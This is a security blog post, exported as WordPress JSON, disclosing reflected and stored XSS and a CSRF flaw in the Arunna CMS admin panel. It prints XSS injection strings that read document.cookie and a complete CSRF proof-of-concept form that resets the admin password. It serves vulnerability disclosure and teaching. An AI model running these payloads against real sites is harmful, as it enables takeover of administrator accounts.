{"id":524,"date":"2021-11-29T18:27:45","date_gmt":"2021-11-29T18:27:45","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=524"},"modified":"2021-11-29T18:27:45","modified_gmt":"2021-11-29T18:27:45","slug":"how-white-box-hacking-works-xss-csrf-in-arunna","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2021\/11\/29\/how-white-box-hacking-works-xss-csrf-in-arunna\/","title":{"rendered":"How White-Box hacking works: XSS + CSRF in Arunna"},"content":{"rendered":"\n<p>Several vulnerabilities were recently discovered by Lyhin&#8217;s Lab in Arunna, which the main purpose, as they say, is <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/arunna\/arunna#arunna\" data-type=\"URL\" data-id=\"https:\/\/github.com\/arunna\/arunna#arunna\" target=\"_blank\">&#8220;connecting the clouds&#8221;<\/a>.<\/p>\n\n\n\n<p>Among numerous XSS&#8217;s, there are interesting <strong>stored<\/strong> and <strong>reflected<\/strong> ones. <\/p>\n\n\n\n<p><strong>Reflected XXS<\/strong> in Arunna takes its place directly at the link with XSS injection: <code>{domain}\/lumonata-admin\/?state=menus&amp;tab=s\"&gt;&lt;script&gt;alert(document.cookie)&lt;\/script&gt;<\/code>. When logged admin clicks that link he&#8217;s receiving an immediate response with running JavaScript code from the injection above (see img. 1). The fact, that cookies store passwords and other sensitive data, is another example of &#8220;good&#8221; practice. (Never do that. I&#8217;m serious.)<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1274\" height=\"646\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/10\/Screen-Shot-XSS.png\" alt=\"\" class=\"wp-image-525\"\/><figcaption>Image 1. Result of Reflected XSS <\/figcaption><\/figure>\n\n\n\n<p><strong>Stored XSS<\/strong> arises when we create a new <em>Menu Set <\/em>(in that place: <meta charset=\"utf-8\"><code>{domain}\/lumonata-admin\/?state=menus<\/code>) with the specific <em>Set Name<\/em> that contains our injection <meta charset=\"utf-8\">(see img.&nbsp;2). For example: XSS &lt;script&gt; alert(<meta charset=\"utf-8\">document.cookie &lt;\/script&gt;. As the result, each time when admin refreshes or goes to that page our script executes (see <meta charset=\"utf-8\">img.&nbsp;3).<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1276\" height=\"739\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/10\/Screen-Shot-XSS2.png\" alt=\"\" class=\"wp-image-526\"\/><figcaption><meta charset=\"utf-8\">Image 2. Creating new <em>Menu Set<\/em> with <meta charset=\"utf-8\">injection in the <meta charset=\"utf-8\"><em>Set Name<\/em> field<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" width=\"1279\" height=\"746\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/10\/Screen-Shot-XSS3.png\" alt=\"\" class=\"wp-image-527\"\/><figcaption>Image 3. Result of executing the script from injection in Menu Set<\/figcaption><\/figure>\n\n\n\n<p>Finally, I would like to mention another interesting vulnerability in that app. This is possible <strong>CSRF<\/strong>, PoC of which you can find below. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;html&gt;&lt;form enctype=\"application\/x-www-form-urlencoded\" method=\"POST\" action=\"http:\/\/<span style=\"background-color: rgba(0, 0, 0, 0.2); font-size: inherit; color: initial;\"><strong>{domain}<\/strong><\/span><span style=\"background-color: inherit; font-size: inherit; color: initial;\">\/lumonata-admin\/?state=users&amp;prc=edit&amp;id=1\"&gt;&lt;table&gt;&lt;tr&gt;&lt;td&gt;username&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"admin\" name=\"username&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;<\/span>&lt;tr&gt;&lt;td&gt;select&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"\" name=\"select&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;first_name&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Raden\" name=\"first_name&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;last_name&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Yudistira\" name=\"last_name&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;display_name&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Raden Yudistira\" name=\"display_name&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;one_liner&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"\" name=\"one_liner&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;location&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"\" name=\"location&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;sex&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"1\" name=\"sex&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;birthday&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"19\" name=\"birthday&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;birthmonth&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"3\" name=\"birthmonth&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;birthyear&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"2011\" name=\"birthyear&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;bio&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"\" name=\"bio&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;expertise&#91;0]&#91;]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"5\" name=\"expertise&#91;0]&#91;]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;tags&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Graphic Designer, Blogger, Director\" name=\"tags&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;skills&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Cooking, JQuery, Fireworks\" name=\"skills&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;email&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"request@arunna.com\" name=\"email&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;website&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"http:\/\/\" name=\"website&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;password&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"admin12345\" name=\"password&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;re_password&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"admin12345\" name=\"re_password&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;user_type&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"administrator\" name=\"user_type&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;status&#91;0]&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"1\" name=\"status&#91;0]\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;tr&gt;&lt;td&gt;save_changes&lt;\/td&gt;&lt;td&gt;&lt;input type=\"text\" value=\"Save User\" name=\"save_changes\"&gt;&lt;\/td&gt;&lt;\/tr&gt;\n&lt;\/table&gt;&lt;input type=\"submit\" value=\"http:\/\/<span style=\"background-color: rgba(0, 0, 0, 0.2); font-size: inherit; color: initial;\"><strong>{domain}<\/strong><\/span><span style=\"background-color: inherit; font-size: inherit; color: initial;\">\/lumonata-admin\/?state=users&amp;prc=edit&amp;id=1\"&gt;&lt;\/form&gt;&lt;\/html&gt;<\/span><\/code><\/pre>\n\n\n\n<p>In a nutshell, this is where a request to change user data is forged. We can change any sensitive user data, from his birthday to his password, using this request.<\/p>\n\n\n\n<p>That&#8217;s all for today, folks. We hope you enjoyed it and will not break <strong>real<\/strong> applications <strong>illegally<\/strong>. Have fun, but always be responsible for your actions. Good luck!<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p><em>LL advises to all the researchers do not break real applications<\/em>\u00a0<em>illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Several vulnerabilities were recently discovered by Lyhin&#8217;s Lab in Arunna, which the main purpose, as they say, is &#8220;connecting the clouds&#8221;. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-524","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/524","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=524"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/524\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=524"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}